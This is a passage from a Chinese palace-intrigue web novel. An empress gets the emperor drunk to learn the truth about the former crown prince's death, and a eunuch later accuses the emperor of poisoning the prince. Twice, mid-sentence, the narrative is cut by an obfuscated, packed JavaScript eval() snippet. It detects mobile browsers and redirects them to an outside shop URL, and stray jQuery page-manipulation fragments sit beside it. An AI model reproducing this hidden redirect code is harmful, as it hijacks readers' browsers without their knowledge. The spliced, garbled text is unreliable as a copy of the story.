“罢了,你既不愿说,我也不逼你。”容蓁瞧着他犹豫不决的模样,原本只是想要打趣他,并不想让萧誉为难。 萧誉闻言,眼睛看着她狐疑问道:“你真不生气?” 她被萧誉这模样惹得笑道:“怎么,你想我生气?” 话音才落,就见他立即摆手道:“当然不是。” “陛下驾到——” 忽然,尖细的太监唱喏声在殿外响起,打破了暖阁中旖旎的气氛。 两人脸上的笑意瞬间消失殆尽,萧誉皱眉看向殿门的方向,眼中闪过一丝不悦。 容蓁放下手中金箸,语气中渗着冷意道:“他怎么这时候过来了?” 他看向殿门的目光愈发阴沉,他没有继续说下去,只是与容蓁交换眼神后走到窗边,动作利落地翻窗而出,眨眼间便消失在夜色中。 萧誉前脚刚走,后脚暖阁的殿门便被人从外推开。 楚绍一身明黄色龙袍,大步流星地走了进来,俊朗的脸上带着一抹温和的笑意,只是那笑意却未达眼底。身后跟着两名宫女,手中捧着托盘,上面放着几样精致的糕点和一壶热茶。 “陛下。”容蓁起身屈膝行礼,语气恭敬,姿态优雅。 楚绍快步上前,伸手扶起她,语气中带着一丝责备,“皇后不必多礼,朕不是说过,在朕面前不必如此拘谨吗?” 容蓁顺势起身,柔声道:“礼不可废,皇上还是不要让臣妾为难了。” 楚绍看着她这副温顺乖巧的模样,心中更加怜惜,拉着她的手走到桌案前坐下,目光落在那只红木雕花食盒上,眉头微不可察地皱了皱,问道:“这是……” “回陛下,这是兄长进宫前为臣妾在府中做了些喜食的菜品,说是怕臣妾思念家中父兄,特意送来给臣妾解馋的。”容蓁语气平静地解释道,“臣妾都与陛下大婚这么久了,兄长还是将我看做小孩般……” 说着,那张芙蓉面上染上一丝羞涩的绯红。 楚绍闻言,眸光微闪,只是淡淡一笑道:“大舅兄倒是细心。” 他看着满桌的菜肴,却并没有动金箸的意思。端起宫女刚刚斟满的热茶,轻轻吹了吹,看着茶盏中的浮沫漫不经心道:“朕记得,皇后与大舅兄的感情一向要好。” 容蓁垂眸,掩去眼底的冷意,语气却愈发温柔:“兄妹之间,自然是要比旁人亲近些。” “是啊,血浓于水,自然是要亲近些。”楚绍放下手中的茶盏,语气中听不出喜怒。 她感受到坐在身旁人的眼神像淬了毒的利刃,在她身上一寸寸刮过。 却恍若未觉,只柔柔地笑着,拿起金箸,夹了一块桂花糕,递到楚绍唇边,“陛下尝尝,这是臣妾最喜食的桂花糕,兄长特意让厨子多做了些,陛下也尝尝鲜。” 楚绍看着近在咫尺的糕点,又看了看容蓁那双清澈见底的眸子,眸色深了几分。 他张嘴,咬下了那块桂花糕。 甜腻的滋味在口中蔓延,却不及眼前人半分。 容蓁手持着金箸,眼睛却在仔细观察着宫宴上龙颜大怒的人。此时的他心情虽说不是上佳,但已没有了之前在承乐殿时的愠色。 她挥手招来捧着托盘的两名宫女将手中的糕点与热茶一并放下,又让人将那红木雕花食盒中的餐食一一摆开,唇角微勾,看着他道:“即逢佳节,陛下能否陪同臣妾小酌几杯?” 楚绍闻言,凤眼微微眯起打量着她,语气却颇为宠溺道:“既然皇后有此雅兴,朕身为夫君定会相陪。” 话落,只听容蓁欢喜地朝殿外招呼道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603188|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “绿芜,去将月前本宫埋在红梅树下的那壶雪泡梅花酒起出来。” 殿外很快有人应声踏着细碎的快步远去,不多时,一壶温好的梅酒就被送进暖阁里来。 王乾与芯红二人随侍在侧,立即为二人填满酒盏。 楚绍修长手指捏着酒杯,不知怎的突然转首朝容蓁看去,凤眼之中微光闪烁。 却见后者拿起酒壶,亲自为他斟满一杯酒,递到他面前柔声道:“陛下尝尝,这是上月臣妾亲自采摘雪水酿的梅花酒,滋味清冽甘甜。” 楚绍的目光落在她白皙如玉的指尖,那抹鲜艳的蔻丹红。 容蓁亦在不动声色地观察着楚绍的神情,见他只是盯着酒杯与自己的指尖,迟迟没有动作,心中冷然。 “陛下可是嫌弃臣妾这酒酿的不好?”她故作委屈地垂下眼帘,长长的睫毛在眼下投下一片阴影,更显得楚楚可怜。 那人闻言微怔半晌后果然上钩,深深地看了她一眼,“朕怎么会嫌弃皇后?”话落,却并没有立即喝下,而是放在鼻尖轻轻嗅了嗅,语气意味深长,“皇后到底还有哪些是朕不知道的?” 容蓁垂眸,掩去眼底的寒意,语气却愈发温柔,“来日方长,一一向陛下揭晓才好,若是全让陛下一次知晓了,定会哪日没了兴趣,便不来臣妾这宫里了。” 楚绍看着眼前这杯清澈的梅花酒,眸色深了几分,眉眼间的阴霾却也淡去几分。他当然知道,容蓁今日这般反常,定是有所图谋。 但他偏偏要看看,她究竟想做什么。 楚绍接过酒杯,一饮而尽。 “好酒!”他赞叹道,目光却紧紧地锁在容蓁的脸上,仿佛要将她看穿一般。 容蓁隐约觉得楚绍今日的态度有些奇怪,可此时的她也未及深想,为自己斟了一杯酒,轻启朱唇缓缓饮下。 楚绍的目光始终没有离开过她,见她喝下,嘴角勾起一抹弧度。 “皇后今日似乎有心事?”他突然开口问道,语气中带着一丝关切。 容蓁心中一凛,面上却不动声色,握着手中小巧可爱的羊脂玉酒盅,“臣妾能有什么心事?不过是见陛下许久不曾来臣妾宫中,心中有些挂念罢了。” 她说着,眼波流转,带着一丝淡淡的幽怨。 她有意多灌楚绍几杯,因此面上也略微带了笑,比平日冷淡敷衍的态度稍稍热情了些。 见她如此,楚绍更是高兴,两人就这样你一杯我一杯的喝了起来。等月上云空时,已经有了七八分醉意,说话都有些磕巴起来,“皇……皇后好酒、量,不愧是朕、朕选中的人,这天下女人,也就皇后才堪配朕……” “陛下再饮一杯。”容蓁面上似笑非笑,有为楚绍的酒盏里倒满,看着他呵呵笑着,将酒倒入口中。 这人的酒量跟他的肚量一样,一贯不大行。 容蓁单手撑着下巴,先是随意讲了几句前朝之事,随后就将话题引到了前太子身上。 “陛下可还记得,先皇驾崩前,宫中曾发生过什么大事么?” 此时,楚绍已是面色潮红,眼神有些呆滞的伏案,只靠着一只手肘支撑着额头。 “什、什么事?” 他似是极为费力的皱眉回忆半天,才露出恍然大悟的表情。 “大事!当然有!朕……朕如何能忘记呢……” 75.真相 容蓁美眸一抬,瞧着眼前人飘飘然早已一幅醉了的模样。 虽然话说的不怎么流落,但眼底的眸光闪烁着,说明人的意识依旧是清醒的。 一听他说到当年有“大事”,容蓁骤然心跳加速,黛眉微蹙一双眼睛盯着楚绍的脸,神情不禁严肃起来。 “陛下,是怎样的‘大事’?臣妾心中好奇,可否说给臣妾听听。”她刻意放柔了音调诱哄的道。 本以为此时的他没有防备,该是有问必答的。 谁知楚绍态度却倏然变化,头摇的跟拨浪鼓一样,挥动着手臂,明黄色宽大的袖袍在空中飞舞道:“不能说!朕、朕答应过,不能说出去的……” 烛光映照着他望向容蓁时异常认真的眸光,神情肃然道:“君子有道,言而有信,朕为君者,需得谨而慎行。” 奈何容蓁百般劝诱,他却是咬死了般,就是不肯吐口,竟还论起为君者。 见楚绍如此,她又急又恨,“那陛下可还记得,在那件‘大事’前后可曾见过……太子殿下?” 眼见这人都醉成这副模样仍然不肯松口提及那件‘大事’,容蓁犹不死心,沉吟之后只好改变问话的策略问。 “太子……”楚绍口中说着这两个字,眼皮不住往上翻了翻,坐在桌凳上的身形微微一晃,身子往容蓁的方向偏了偏,离近了些许,半晌后才从口中又吐出两个字:“见过!” 这次容蓁没想到,楚绍竟然如此爽快地答了,眼底闪过一丝诧异。 未等她来得及追问,就听身旁的人接着说道:“不……不光见过,朕还跟他一起饮酒来着!” 话落,容蓁浑身一震,眼瞳剧烈收缩,不可置信地看着楚绍。 她刚想要细问3几句,只听楚绍又嘟囔了几句听不清的话,就一头栽在桌上睡了过去。 “娘娘,这……” 王乾见楚绍已经醉熏过去,往前走近两步,用询问的眼神地看向容蓁。 本因方才的话沉思的容蓁被他这一问,打断了思绪。 “陛下今儿心情好转,酒吃多了些,有劳王公公好生派人伺候着,送回寝宫罢。”容蓁淡声吩咐道,一双杏眼在王乾身上打量了几分后,自己也扶着芯红的手起身来。 王乾哈腰应是,随后招呼一声,“你们两个小兔崽子,还不快过来,给咱家搭把手!” 两个青年太监闻声急忙碎步赶过来,小心翼翼的帮着王乾扶起了不省人事的楚绍。 其中一个经过之时,不知怎么的,碰倒了桌上的酒盏,酒盏倒下顺着桌子滚落,险些洒在容蓁衣袂上。 “娘娘恕罪!娘娘恕罪!” 那青年太监唬的急忙跪在地上,连连磕头。 容蓁随意一瞥,见是个经常伺候在楚绍身边的熟面孔,名字虽记不住,倒底是有几分眼熟,于是摆了摆手,“罢了,本宫没事,你去伺候皇上要紧。” 那瘦瘦的太监感激涕零的又磕了几个头谢恩,这才追着御辇去了。 “走!” 直到屋子里乌泱泱的人都散了去之后,容蓁才沉下脸来。 连续几次出师不利! 前些日子,线索倒是如愿得到了一些,可惜接二连三,好坏掺半! 就算种种消息都指向太子, 今日看来楚绍对往年的事大抵是知情,她需再想想法子,总能把实话从他口中套出来!且他既然如此讳莫如深,在没拿到切实的证据之前,她是不会就这么轻易就下定论。 若真是有什么丑事,当时未曾宣扬,恐怕也是当时被先皇压了下去…… - 翌日,刚过午时,天色便阴沉沉的,正如容蓁此时沉郁到了极点的心情,自从前日晚上她借酒询问楚绍往事之后,她越发地感觉到那只看不见的手,正在一点点地靠近。 就在昨日,父亲那边的消息传了过来,好巧不巧消息说:贵妃之死确实在先皇驾崩之前,太医院的脉案中记载着当时龙体向来康健的先皇突然呕了血。 同日,先皇掌握的皇室暗卫当夜血洗皇宫,一次性处死了大批宫女太监。 难道…… 容蓁面色一沉,握紧了手中的茶盏。 她摇了摇头,想将脑海中“太子偷情”的念想从脑海中甩去。 忽然,她眸光一亮,瞪大了眼看着前方,新的想法从她脑海中一闪而过。 难不成是贵妃与人偷情,且被人给撞破? 容蓁手指蜷起扣响起桌面,细细思索着,似乎这样一切都能够说的通了。 贵妃与人私通的事败露,先皇为防止丑事外扬,选择隐忍刺死。这才能够让这么大的事,一丝口风也没露出来,唯一的漏网之鱼还是个疯了的宫女。 而楚绍说答应的人,那个人很有可能就是先皇。 可是,与贵妃私通的男子又是谁? 如此,那个与贵妃“偷情”之人,不但间接害死了太子,害死了先皇,还搭上了这么多无辜的性命! 又让楚绍这个无帝王之才的人登上金銮宝座,天下黎民百姓之哀,便是死上一百次,也不为过! 想到此处,容蓁缓缓阖上眼,心中一片悲凉。窗外,细碎的雪花纷纷扬扬的飘落。 绿芜掀开隔寒帘进了屋内,接连说了几句话,她都只是怔怔的望着窗外,静默不语。 “你说……是谁求见?” 见她整个人心不在焉的,芯红只得走到她身边,又将话重复了一遍。 “常太监,是谁?”素来打交道的不是王乾就是李德福,这个姓常的太监似乎没什么印象。 容蓁心情本就不佳,蹙眉微带不耐的道,“本宫不想见,你去回了他吧。” 若是平日,芯红定不会容蓁的命令有所迟疑,只是此刻却有些犹豫起来,吞吐道:“常太监是伺候陛下的老人儿,听说在潜邸时便跟着伺候陛下了。” 进来回话的绿芜也连忙接过话茬道:“是啊娘娘,方才这位常公公说,昨日娘娘问过皇上的事,他恰好也知晓一些!” 听闻此言,容蓁身形一顿,将看向窗外的目光收回,随后缓缓转过身来,目色冰寒落在说话的绿芜身上。 饶是伺候了容蓁十多年的绿芜抬眼瞧见落在自己身上的那一束目光,只觉得三尺寒天才能有如此冰寒的一方天地。 “将人带进来!”容蓁冷笑一声,提步去了正殿。 不多时,芯红领着常太监进来,他有些畏缩的磕头后,就垂着头跪在地上。 “叩见娘娘。” “抬起头来。”容蓁声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616991|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音中不带一丝温度的道。 跪伏在地的常太监微微抬头,待容蓁看清他容貌后,先是一愣这才开口道:“是你?” 这不是宫宴那次,差点将酒洒在她身上那个太监么? “是奴才。娘娘恩德,奴才一直铭记在心,万死难报!” 常太监见容蓁认出了他,激动的声音都有些颤抖了。 “不过些许小事罢了,难为你如此记挂心上。” 容蓁漫不经心的抚过鎏金手炉上镌刻精细的雕花,神情淡淡说道。 常太监虽听出她话中的不虞,面上的笑容不曾减,“娘娘贵人也许不记得了,可奴才却不是第一次受娘娘恩惠。” 说道此处,常太监激动地将头深深埋向地面。 见他如此,容蓁蹙了眉头,看向了侍立一旁的芯红。她一点也不记得还有过这样的事了。 难道他真是当年之事的知情人?! 容蓁面色一肃,“常公公无须如此,起来说话吧!”再出声,她言语间已比之刚刚和缓了许多。 “听说,你有事要告诉本宫?” 那常太监起身来,稍稍稳定了情绪,眼中有犹豫、挣扎、恐惧诸般情绪一一闪过,最后化为不顾一切的坚定,“娘娘待奴才恩重如山,奴才就是一死,又有何惧?当年之事,前因后果奴才知之甚少,可唯有一点,却是奴才亲眼目睹。” “何事?” 容蓁心中隐隐感觉到,这位常公公接下来要说的话可能会令人惊骇。 “前太子暴毙前一日,正是当今皇上亲手给他下了药!” 话落,一声脆响响起,容蓁直接捏碎了手中的茶盏! “娘娘!” 芯红冲了过去,颤抖着将容蓁的手轻轻展开,白皙如玉的手掌上扎着几片碎瓷片,殷红的鲜血正顺着手腕,缓缓滴落。 “你是说,是皇上下药毒杀了前太子?” 容蓁似乎对手上的疼痛全无感觉,一字一顿的恨声道。 “奴才不知,只觉得前太子之死与陛下亲手下的那碗药脱不了干系。”常太监颤抖道,“当时奴才正好随侍在陛下身边,无意中目睹了皇上趁着前太子更衣,在他酒杯中下了药状粉末。” 说到此时,常太监不知害怕还是后悔,鼻涕眼泪已是糊了一脸。 他伸衣袖胡乱抹了抹脸,打着颤又继续说了下去,“第二日,就传来太子暴毙的消息。奴才当时以为会被灭口,吓得当夜就发起了高烧,差点没挺过去。” “等奴才病好能当差了,已经过了一个多月。”常太监不知怎的,明明已经稳定下来的声音,突然又开始发颤。 显然,接下来要说的,才最让他恐惧的,甚至超过了发现当今皇上毒杀前太子这样的惊天大事! “有、有一日,奴才一个交好的兄弟,突然来找奴才。他样子极其惊恐,人也瘦的不成样子,吞吞吐吐的告诉了奴才一个秘密。” “他、他说……” 常太监目光恍惚中带着深深的恐惧,似乎又回到了当年,乍然得知此时的黑暗一刻。 “他说,太子酒后无德,闯入了贵妃娘娘宫中,玷污了贵妃娘娘!” 说完最后一个字,他便彻底瘫倒在地,像是用尽了最后一丝力气。